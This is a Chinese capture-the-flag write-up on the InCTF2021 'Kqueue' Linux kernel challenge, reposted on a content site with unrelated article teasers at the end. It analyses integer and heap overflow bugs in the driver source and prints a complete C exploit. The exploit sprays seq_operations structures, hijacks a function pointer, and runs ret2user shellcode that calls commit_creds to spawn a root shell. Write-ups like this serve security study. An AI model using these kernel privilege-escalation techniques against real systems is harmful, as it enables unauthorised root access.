【ret2user】InCTF2021-Kqueue

前言

这题给了源码,感觉代码的问题很大。然后题目不算难,但是最后 ret2user 执行的代码很有意思。这里的思路是参考的 Roland_ 大佬的思路:[原创]InCTF 内核Pwn之 Kqueue-Pwn-看雪-安全社区|安全招聘|kanxue.com

最后不去泄漏 kernel_offset,直接利用 ret2user 时,内核栈上残留的内核地址进行提权,这个思路非常妙,可以说是情理之中意料之外,当然可能是我太菜(压上了)。

漏洞分析

保护:就开了个 kalsr 随机化保护。smep/smap/pti 全关了。所以可以直接 ret2user 了

然后内核版本为 v5.8.1,然后这个题目是 2021 年的,所以该内核应该存在 dirty pipe 漏洞,经过测试的确如此:这里并不利用该 nday 直接打

然后题目给了源码,还是比较给力的,这里源码我全注释了,就不一一解释了。

题目主要实现了一个菜单,有增、删、改、复制的功能,其中主要维护了以下结构:

create_kqueue 函数

该函数就是去创建上述结构的,其中用户传入 request_t 结构体指针。这里有意思的是程序中有一些错误检测,当不满足时都会调用 err,但是这里 err 仅仅是输出一个字符串后就返回,而不是 exit。这就导致整个程序的检测几乎都无效。

/*
typedef struct{uint32_t max_entries;uint16_t data_size;uint16_t entry_idx;uint16_t queue_idx;char* data;
}request_t;
*/static noinline long create_kqueue(request_t request){long result = INVALID;// 这里的 err 单纯打印一个字符串....if(queueCount > MAX_QUEUES)err("[-] Max queue count reached");/* You can't ask for 0 queues , how meaningless */if(request.max_entries<1)err("[-] kqueue entries should be greater than 0");/* Asking for too much is also not good */// #define MAX_DATA_SIZE 0x20if(request.data_size>MAX_DATA_SIZE)err("[-] kqueue data size exceed");/* Initialize kqueue_entry structure */queue_entry *kqueue_entry;/* Check if multiplication of 2 64 bit integers results in overflow */ull space = 0;// space = sizeof(queue_entry) * (request.max_entries+1)// __builtin_umulll_overflow 检测了乘法结果是否发生溢出// 但是 request.max_entries+1 可能存在溢出if(__builtin_umulll_overflow(sizeof(queue_entry),(request.max_entries+1),&space) == true)err("[-] Integer overflow");/* Size is the size of queue structure + size of entry * request entries */ull queue_size = 0;// queue_size = sizeof(queue) + spaceif(__builtin_saddll_overflow(sizeof(queue),space,&queue_size) == true)err("[-] Integer overflow");/* Total size should not exceed a certain limit */if(queue_size>sizeof(queue) + 0x10000)err("[-] Max kqueue alloc limit reached");/* All checks done , now call kzalloc */// validate 就是对 err 的一个封装,所以这题相当于没检测queue *queue = validate((char *)kmalloc(queue_size,GFP_KERNEL));/* Main queue can also store data */queue->data = validate((char *)kmalloc(request.data_size,GFP_KERNEL));/* Fill the remaining queue structure */queue->data_size   = request.data_size;queue->max_entries = request.max_entries;queue->queue_size  = queue_size;/* Get to the place from where memory has to be handled */// 这里的 queue 是局部变量 queue* 指针而不是 queue 结构体// 所以 sizeof(queue) = sizeof(queue*) = 8// 所以这里其实就是 (queue_entry *)(queue + 1)// 不知道为啥要写这么蹩脚的代码......是我太菜了kqueue_entry = (queue_entry *)((uint64_t)(queue + (sizeof(queue)+1)/8));/* Allocate all kqueue entries */queue_entry* current_entry = kqueue_entry;queue_entry* prev_entry = current_entry;uint32_t i=1;// 看到这里,我知道了 request.max_entries+1 溢出这个漏洞是故意给的了for(i=1;i<request.max_entries+1;i++){if(i!=request.max_entries)prev_entry->next = NULL;current_entry->idx = i;current_entry->data = (char *)(validate((char *)kmalloc(request.data_size,GFP_KERNEL)));/* Increment current_entry by size of queue_entry */current_entry += sizeof(queue_entry)/16;/* Populate next pointer of the previous entry */prev_entry->next = current_entry;prev_entry = prev_entry->next;}/* Find an appropriate slot in kqueues */uint32_t j = 0;for(j=0;j<MAX_QUEUES;j++){if(kqueues[j] == NULL)break;}if(j>MAX_QUEUES) // j == MAX_QUEUES 就不检测了???err("[-] No kqueue slot left");/* Assign the newly created kqueue to the kqueues */kqueues[j] = queue; // ? 这不数组越界???queueCount++;result = 0;return result;
}

漏洞点:request.max_entries+1 可能发生溢出,比如 request.max_entries = 0xffffffff,这是仅仅寄宿创建了一个 queue 头,但是 queue 中存的是 request.max_entries。

delete_kqueue 函数

static noinline long delete_kqueue(request_t request){/* Check for out of bounds requests */if(request.queue_idx>MAX_QUEUES)err("[-] Invalid idx");/* Check for existence of the request kqueue */queue *queue = kqueues[request.queue_idx];if(!queue)err("[-] Requested kqueue does not exist");kfree(queue);memset(queue,0,queue->queue_size); // ?? 释放之后把内容清空了 ?? 这啥操作kqueues[request.queue_idx] = NULL; // data 也没释放???return 0;
}

edit_kqueue 函数

static noinline long edit_kqueue(request_t request){/* Check the idx of the kqueue */if(request.queue_idx > MAX_QUEUES)err("[-] Invalid kqueue idx");/* Check if the kqueue exists at that idx */queue *queue = kqueues[request.queue_idx];if(!queue)err("[-] kqueue does not exist");/* Check the idx of the kqueue entry */if(request.entry_idx > queue->max_entries)err("[-] Invalid kqueue entry_idx");/* Get to the kqueue entry memory */queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);/* Check for the existence of the kqueue entry */exists = false;uint32_t i=1;for(i=1;i<queue->max_entries+1;i++){/* If kqueue entry found , do the necessary */if(kqueue_entry && request.data && queue->data_size){if(kqueue_entry->idx == request.entry_idx){validate(memcpy(kqueue_entry->data,request.data,queue->data_size));exists = true;}}kqueue_entry = kqueue_entry->next;}/* What if the idx is 0, it means we have to update the main kqueue's data */if(request.entry_idx==0 && kqueue_entry && request.data && queue->data_size){validate(memcpy(queue->data,request.data,queue->data_size));return 0;}if(!exists)return NOT_EXISTS;return 0;
} 

save_kqueue 函数

该函数会根据 queue->queue_size 创建一个新的 obj,然后以 request.max_entries 来将其 data 的内容复制到新的 obj 中。并且这里复制的大小由用户控制,虽然做了检测,但是上面说了,err 没啥用,所以这里存在堆溢出。

/* Now you have the option to safely preserve your precious kqueues */
static noinline long save_kqueue_entries(request_t request){/* Check for out of bounds queue_idx requests */if(request.queue_idx > MAX_QUEUES)err("[-] Invalid kqueue idx");/* Check if queue is already saved or not */if(isSaved[request.queue_idx]==true)err("[-] Queue already saved");queue *queue = validate(kqueues[request.queue_idx]);/* Check if number of requested entries exceed the existing entries */if(request.max_entries < 1 || request.max_entries > queue->max_entries)err("[-] Invalid entry count");/* Allocate memory for the kqueue to be saved */char *new_queue = validate((char *)kzalloc(queue->queue_size,GFP_KERNEL));/* Each saved entry can have its own size */// 这里对 request.data_size 的检测存在问题if(request.data_size > queue->queue_size)err("[-] Entry size limit exceed");/* Copy main's queue's data *///这里对 request.data_size 的检测是 "request.data_size > queue->queue_size"// 这里很明显的错误,应该是 "request.data_size > queue->data_size"// 所以这里也会导致堆溢出if(queue->data && request.data_size)validate(memcpy(new_queue,queue->data,request.data_size));elseerr("[-] Internal error");new_queue += queue->data_size;/* Get to the entries of the kqueue */queue_entry *kqueue_entry = (queue_entry *)(queue + (sizeof(queue)+1)/8);/* copy all possible kqueue entries */uint32_t i=0;// 1)// 这里就变成 request.max_entries+1 而不是 queue->max_entries+1 了// 所以这里结合上面的整数溢出就导致了堆溢出// 比如最开始传入 max_entries 为 0xffffffff,那么 queue->max_entries+1=0// 这时就分配了一个 queue 头,在 edit 和 add 后面都是不存在问题的,因为其使用的也是 queue->max_entries+1// 但是在 save 中,却使用了 request.max_entries+1,这里 request.max_entries+1 可不为0了// 所以这里会导致堆溢出// 2)// 并且这里对 request.data_size 的检测是 "request.data_size > queue->queue_size"// 这里很明显的错误,应该是 "request.data_size > queue->data_size"// 所以这里也会导致堆溢出for(i=1;i<request.max_entries+1;i++){if(!kqueue_entry || !kqueue_entry->data)break;if(kqueue_entry->data && request.data_size)validate(memcpy(new_queue,kqueue_entry->data,request.data_size));elseerr("[-] Internal error");kqueue_entry = kqueue_entry->next;new_queue += queue->data_size;}/* Mark the queue as saved */isSaved[request.queue_idx] = true;return 0;
}

漏洞利用

经过上面的分析,我们可以利用如下思路:

1)add,其中传入的 max_entries = 0xffffffff,data_size = 0x20*8(这里随你)此时仅仅创建一个 0x20 的 queue 和一个 data_size 大小的 data,但是其保存的 max_entries 是 0xffffffff 

2)利用 save 功能,此时会创建一个 queue_size = 0x20 大小的新 obj,然后将 queue->data 的数据复制到这个 obj 上,但是复制的数据长度是用户可控的,并且 err 检测没有实质性的作用。 

所以我们可以提前堆喷大量的 seq_operations(即 seq_file 文件的利用,这里 seq_operations 的大小也是 0x20,读者有问题可以参考我之前的文章)形成如下布局:

这是发生溢出的话就会覆盖 seq_operations 中的指针,如果将 seq_operations->start 覆盖为用户空间的一个地址的话,就可以实现 ret2user 了。

但是这里比较关键的就是如何进行提权,题目开了 kaslr,所以该如何泄漏 kernel_offset 呢?这里大佬给了一种方案。

因为是 ret2user,所以在执行用户空间代码时用的还是内核栈,所以可以在利用内核栈上残留的内核地址去计算出 commit_creds/prepare_kernel_cred 的函数地址。经过测试 rsp+8 位置存在一个固定的内核地址:0xffffffff81201179

exp 如下:
 

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>#define CREATE  0xDEADC0DE
#define EDIT    0xDAADEEEE
#define DELETE  0xBADDCAFE
#define SAVE    0xB105BABEtypedef struct{uint32_t max_entries;uint16_t data_size;uint16_t entry_idx;uint16_t queue_idx;char* data;
}request_t;int fd;
void add(uint32_t max_entries, uint16_t data_size)
{request_t req = { .max_entries = max_entries, .data_size = data_size };ioctl(fd, CREATE, &req);
}void edit(uint16_t queue_idx, uint16_t entry_idx, char* data)
{request_t req = { .queue_idx = queue_idx, .entry_idx = entry_idx, .data = data};ioctl(fd, EDIT, &req);
}void dele(uint16_t queue_idx)
{request_t req = { .queue_idx = queue_idx };ioctl(fd, DELETE, &req);
}void save(uint16_t queue_idx, uint32_t max_entries, uint16_t data_size)
{request_t req = { .queue_idx = queue_idx, .max_entries = max_entries, .data_size = data_size };ioctl(fd, SAVE, &req);
}size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void get_root_shell()
{puts("[+] Get Root Shell");printf("[+] UID: %d\n", getuid());system("/bin/sh");
}size_t rrip;
size_t kernel_addr;
void shellcode()
{
/*
[rsp+8] = 0x0xffffffff81201179
>>> hex(elf.sym.commit_creds)
'0xffffffff8108c140'
>>> hex(elf.sym.prepare_kernel_cred)
'0xffffffff8108c580'
*/asm("mov r14, [rsp+0x8];""mov kernel_addr, r14;""sub r14, 0x174bf9;" // prepare_kernel_cred"mov rdi, 0;""call r14;""mov rdi, rax;""mov r14, kernel_addr;""sub r14, 0x175039;" // commit_creds"call r14;""swapgs;""mov r14, user_ss;""push r14;""mov r14, user_sp;""push r14;""mov r14, user_rflags;""push r14;""mov r14, user_cs;""push r14;""mov r14, rrip;""push r14;""iretq");}int main(int argc, char** argv, char** env)
{save_status();int seq_fd[0x200];uint64_t buf[0x20];rrip = get_root_shell;if ((fd = open("/dev/kqueue", O_RDONLY)) < 0) err_exit("FAILED to open dev file");for (int i = 0; i < 0x20; i++) buf[i] = shellcode;add(0xffffffff, 0x20*8);edit(0, 0, buf);for (int i = 0; i < 0x200; i++)if ((seq_fd[i] = open("/proc/self/stat", O_RDONLY)) < 0)err_exit("FAILED to open seq file");save(0, 0, 0x80);for (int i = 0; i < 0x200; i++)read(seq_fd[i], buf, 1);puts("[+] NEVER EXP END");return 0;
}

效果如下:

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/209559.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IDEA构建springBoot新项目时JDK只有17和21,无法选择JDK8解决方案

今天创建springboot新项目时&#xff0c;发现IDEA里JDK选项只有17和21&#xff0c;无法选择本机的JDK8&#xff0c;网上查资料后发现是springboot2.7于11.24号后停止维护&#xff0c;基于2.7和java8的spring Initializ官方不再维护&#xff0c;解决方案是在server URL栏&#x…

STM32CubeIde 实现printf打印输出

STM32CubeIde 实现printf打印输出&#xff0c;在IDE生成的程序的main中的/* USER CODE BEGIN 4 /和/ USER CODE END 4 */之间放下面代码&#xff1a; #ifdef __GNUC__ #define PUTCHAR_PROTOTYPE int __io_putchar(int ch) #define GETCHAR_PROTOTYPE int __io_getchar(FILE *…

集线器-交换机-路由器

1.集线器(Hub) 集线器就是将网线集中到一起的机器&#xff0c;也就是多台主机和设备的连接器。集线器的主要功能是对接收到的信号进行同步整形放大&#xff0c;以扩大网络的传输距离&#xff0c;是中继器的一种形式&#xff0c;区别在于集线器能够提供多端口服务&#xff0c;也…

OpenGL 和 OpenGL ES 2.0/3.X 一致性测试说明(CTS)

本文档介绍如何构建、移植和运行 OpenGL 和 OpenGL ES 2.0/3.X 一致性测试&#xff0c;以及如何验证和提交测试结果。 [TOC]目录 测试环境要求 一致性测试需要文件系统。文件系统需要支持长文件名&#xff08;即 > 8.3 名称格式&#xff09;。一致性测试中的源文件使用大…

面试题:MySQL为什么选择B+树作为索引结构

文章目录 前言二、平衡二叉树(AVL)&#xff1a;旋转耗时三、红黑树&#xff1a;树太高四、B树&#xff1a;为磁盘而生五、B树六、感受B树的威力七、总结 前言 在MySQL中&#xff0c;无论是Innodb还是MyIsam&#xff0c;都使用了B树作索引结构(这里不考虑hash等其他索引)。本文…

Redis命令详解

文章目录 Key&#xff08;键&#xff09; DEL EXISTS EXPIRE EXPIREAT PEXPIRE PEXPIREAT PERSIST KEYS TTL PTTL RENAME RENAMENX TYPE SCAN HSCAN SSCAN ZSCAN DUMP String&#xff08;字符串&#xff09; SET GET INCR DECR MSET MGET APPEND SETNX STRLEN INCRBY DECRBY IN…

opencv知识库:cv2.add()函数和“+”号运算符

需求场景 现有一灰度图像&#xff0c;需求是为该图像增加亮度。 原始灰度图像 预期目标图像 解决方案 不建议的方案——“”运算符 假设我们需要为原始灰度图像的亮度整体提升88&#xff0c;那么利用“”运算符的源码如下&#xff1a; import cv2img_path r"D:\pych…

Django二转Day03 04

0 cbv执行流程&#xff0c;self问题 path(index/, Myview.as_view()),Myview.as_view() 实例化后返回 变成return Myview.dispatch(request, *args, **kwargs)但是视图函数Myview中没有 dispatch 方法 所以去 父类View中寻找return View.dispatch(request, *args, **kwargs)调用…

jmeter接口自动化部署jenkins教程

首先&#xff0c;保证本地安装并部署了jenkins&#xff0c;jmeter&#xff0c;xslproc 我搭建的自动化测试框架是jmeterjenkinsxslproc ---注意&#xff1a;原理是&#xff0c;jmeter自生成的报告jtl文件&#xff0c;通过xslproc工具&#xff0c;再结合jmeter自带的模板修改&…

9.Spring 整合 Redis

引入依赖&#xff1a;spring-boot-starter-data-redis配置 Redis&#xff1a;配置数据库参数、编写配置类&#xff0c;构造 RedisTemplate访问 Redis&#xff1a; redisTemplate.opsForValue() redisTemplate.opsForHash() redisTemplate.opsForList() redisTemplate.opsForSe…

el-table 删除某行数据时 删除语句包含行号/序号

el-table可展示每行数据的序号列&#xff0c;在点击删除按钮的时候&#xff0c;会获取到该行所有的数据值&#xff0c;但是要想删除时提示到具体的序号&#xff0c;如&#xff1a;“是否确认删除序号为1的数据项&#xff1f;”&#xff0c;我是这样写的&#xff1a; /** 删除按…

C++ Easyx 让圆球跟随鼠标移动

目录 下载Easyx 检验 绘制窗口 画圆 响应事件的处理 清除原先绘图 渲染缓冲区 逻辑 代码托管 下载Easyx 在Easyx官网下载大暑版: 检验 写如下代码: 编译运行&#xff0c;如果控制台出现2023字样&#xff0c;代表配置成功: 绘制窗口 进入Eaxy官方网站&#xff0c;点…

【Flink进阶】-- Flink kubernetes operator 快速入门与实战

1、课程目录 2、课程链接 https://edu.csdn.net/course/detail/38831

代码随想录第二十三天(一刷C语言)|组合总数组合总数II分割回文串

创作目的&#xff1a;为了方便自己后续复习重点&#xff0c;以及养成写博客的习惯。 一、组合总数 思路&#xff1a;参考carl文档 定义两个全局变量&#xff0c;二维数组result存放结果集&#xff0c;数组path存放符合条件的结果。&#xff08;这两个变量可以作为函数参数传入…

【电机控制】PMSM无感foc控制(五)相电流检测及重构 — 单电阻采样

0. 前言 相电流采样再FOC控制中是一个关键的环节&#xff0c;鉴于成本和易用性&#xff0c;目前应用较多的相电流采样方式是分流电阻采样&#xff0c;包括单电阻、双电阻以及三电阻采样法。 本章节先讲解单电阻采样相电流的检测及重构技术&#xff0c;在下一章讲解双电阻和三电…

使用postman请求x5接口

x5接口简介 1.接口样例 {"header"{"appid":"bpmnew_fanwei","sign":"C033162E86E4CADE80C7EB44D68A5AD2","sign_type":"md5","url":"https://oa.mioffice.cn/api/bpm/xm/app/show/tod…

预约按摩小程序有哪些功能特点?

随着科技的飞速发展&#xff0c;我们的生活方式发生了翻天覆地的变化。现在&#xff0c;只需动动手指&#xff0c;就能解决许多生活中的问题。同城预约上门按摩小程序&#xff0c;就是这样一个方便、快捷的解决方案。 在忙碌的生活中&#xff0c;身心疲惫的人们急需一种快速有效…

代码签名证书的作用

代码签名证书也是一种数字证书&#xff0c;它主要用于证明软件的来源和完整性。通过使用这种证书&#xff0c;开发者可以在发布软件时对其代码进行数字签名&#xff0c;以确保用户下载的是未经篡改的原始版本。 代码签名证书通过数字签名技术&#xff0c;为软件添加了一个数字签…

蓝桥杯每日一题2023.12.4

题目描述 竞赛中心 - 蓝桥云课 (lanqiao.cn) 题目分析 本题使用树型DP&#xff0c;蓝桥杯官网出现了一个点的错误&#xff0c;但实际答案是正确的 状态表示&#xff1a;f[u]&#xff1a;在以u为根的子树中包含u的所有联通块的权值的最大值 假设s1&#xff0c;s2,…sk 是u的…

动能资讯 | 智能音箱—万物物联新纽带

音箱市场在过去几年经历了显着的增长&#xff0c;这主要得益于数字音乐的普及和技术创新的推动。随着语音助手技术的发展&#xff0c;智能音箱如Amazon Echo、Google Home、Apple HomePod等逐渐成为市场中的热点。这些音箱不仅提供音频播放功能&#xff0c;还整合了语音识别和智…